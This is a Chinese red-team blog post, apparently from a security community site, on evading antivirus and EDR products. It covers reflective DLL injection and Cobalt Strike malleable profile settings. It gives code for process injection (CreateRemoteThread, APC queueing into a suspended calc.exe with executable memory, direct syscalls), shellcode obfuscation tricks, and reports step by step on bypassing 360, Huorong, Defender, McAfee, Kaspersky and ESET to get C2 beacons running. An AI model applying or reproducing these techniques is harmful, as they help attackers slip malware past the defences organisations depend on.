暂无简介
红队开发基础-基础免杀(四)
引言
本文是《红队开发基础-基础免杀》系列的第四篇文章,主要介绍了“反射型dll注入”及“柔性加载”技术。此外,本篇是对该系列文章的一个总结,利用前面几篇文章的技术相结合,达到了bypass主流edr的效果。
反射型dll注入
为什么需要反射型dll注入
常规的dll注入代码如下:
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
主要做了几件事情:
从磁盘读取dll到wchar_t数组
将该payload数组写入目标内存
在目标内存中找到LoadLibraryW函数
通过CreateRemoteThread调用LoadLibraryW函数,参数为dll在内存中的地址。
这样的操作模式有几个很高危的点。首先,从磁盘读取dll需要考虑dll的静态免杀,对此我们可以直接写在装载器中并加密。其次,在目标内存中找到LoadLibraryW函数,需要GetProcAddress LoadLibraryW,这种调用属于很有特征的调用模式,容易被AV/EDR归类。对此我们的解决措施就是接下来要提及的反射型dll注入技术。最后,CreateRemoteThread进行远程线程注入 行为本身就很高危,同时参数是LoadLibraryW的地址,一眼malware。对此我们优化调用,不再使用CreateRemoteThread进而使用创建新进程的方式结合反射型dll注入技术改变dll注入技术的调用模式。
实现思路
早期的dll注入实现原理:
上图比较清楚的写了反射型dll注入的原理,1,2,3步由A向B线程写入dll。第四步调用B线程中的embedded bootstrapper code。最后通过bootstrapper shellcode调用dll的导出函数reflective loader。
reflective loader实际上是一个自己实现的LoadLibraryW函数,从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件,最后调用DLLmain实现我们的恶意功能。
我们的具体实现和上面早期的思路有所区别,首先我们不使用远程进程/线程注入的方式,其次我们不需要bootstrapper shellcode这个部分,我们可以直接在加载器部分算出reflective loader在内存中的地址,直接调用即可。
具体实现
主要参考项目https://github.com/Allevon412/ReflectiveDLL_Sektor7
加载器部分
首先shellcode使用AES解密,这部分添加了一些c的代码加密
后来发现原本项目的release目录下有python的加密脚本:
解密载入内存后,使用GetReflectiveLoaderOffset计算出ReflectLoader函数的偏移:
最后创建线程调用ReflectLoader函数。
dll部分
ReflectiveLoader一共做了5件事:
一、 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等),
通过关键函数的hash在内存中搜索,函数hash:
遍历内存进行搜索:
二、 将DLL及其相应的节写入内存中:
三、 建立DLL导入表,以便DLL可以调用ntdll.dll和kernel32.dll WINAPI
四、 修复重定位表:
五、 调用DLL的入口点:
最终我们的恶意代码位于dllmain中,项目还是采用加载shellcode的方式上线cs。
柔性加载
限制使用具有RWX标记的内存,cs在4+可以直接进行相关配置。配置文件格式可以参考:https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/
原文作者的推荐配置:
set startrwx"false";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set sleep_mask "true";
set smartinject "true";
牛刀小试
360
使用base64+xor混淆shellcode:
成功bypass:
火绒
和上述方法相同:
definder
加强shellcode的混淆:
std::string rest2_reference = "xxx@@";
std::string rest3_reference = replace(rest2_reference, "@@", "==");
依旧报毒,但是类型发生改变了,说明静态的混淆有效果:
异或的操作,比较可疑,经过测试发现是cs的shellcode出现在数组里就报毒,应该是对内存进行的扫描。
所以我们可以使用《文章二》中提及的技术“规避常见的恶意API调用模式”,将shellcode分片直接写入连续内存。
在测试的过程中发现莫名其妙的过了查杀:
很神奇,这段并没有实现内存的切片写入,因为shellcode的大小没有达到4096,实际上相当于直接分配了个大小为4096的数组,写入了shellcode。
而且把这段代码相同的格式放外面就不行,个人感觉definder还是没有去检查内存。
可能是有语义分析的引擎,这次刚好绕过了语义分析。
macfee
同上方法可以成功bypass:
正常执行命令:
kasperky Endpoint 11 for windows
用过macfee和definder的demo2测试失败,注释掉代码加载部分不报毒,改用apc和创建进程的的方式加载内存:
SIZE_T shellSize = 4096;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
依旧不行:
使用syscall调用NtCreateThreadEx。这里被坑了,WaitForSingleObject要使用,不然会异步,没法上线:
ANtCTE(
&hThread,
THREAD_ALL_ACCESS,
NULL,
GetCurrentProcess(),
(LPTHREAD_START_ROUTINE)exec,
NULL,
NULL,
0,
0,
0,
nullptr
);
WaitForSingleObject(hThread, INFINITE);
能看到效果,行为检测依旧有问题:
但漏洞利用防御已经没有相关报警:
怀疑是cs本身流量特征的问题,为了验证我使用卡巴斯基本身的功能禁用了网络请求:
确实不杀也不报警了,确定是cs通信的问题。
ESET Endpoint Security
demo3报警,并且明显检测到网络连接行为
静态没有问题
主要应该还是在对内存的检测,而且感觉已经执行到了发包
下面根据《三》中的“beacon的内存加密”对demo3进行优化,使用RefleXXion工具的第二种将内存设为NO_ACCESS并通过注册异常处理还原的方式进行免杀。
设置流量的白名单:
关闭web控制后成功并上线
eset在持续在扫描内存,但一直没有权限,一直触发异常,无法进入正常的后门逻辑
能绕过内存的检测,但无法正常使用
感觉ESET一直在我程序里进行内存操作,访问到了不可访问的内存段。
可能ESET的机制是一直在扫描程序内存,也可能是想要做一些hook。
我尝试使用RefleXXion的第一种方法,将shellcode加密并使属性为RW或RX的方式加载shellcode:
可以成功上线,并且正常使用:
总结
该系列文章所有的bypass edr方法都只在用户态进行操作,已经能规避大多数AV/EDR的检测。但不乏一些edr进行了比较多的内核层面的限制,如炭黑、fireeye等。对于驱动和流量层面的免杀,后期还会有专门的文章进行介绍与学习,感谢大家的支持。
源码
本文实现的例子相关代码均进行了开源:EDR-Bypass-demo
参考
https://depthsecurity.com/blog/reflective-dll-injection-in-c
https://github.com/Allevon412/ReflectiveDLL_Sektor7
https://github.com/stephenfewer/ReflectiveDLLInjection
https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/
- 本文作者: 7bits安全团队
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11659
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!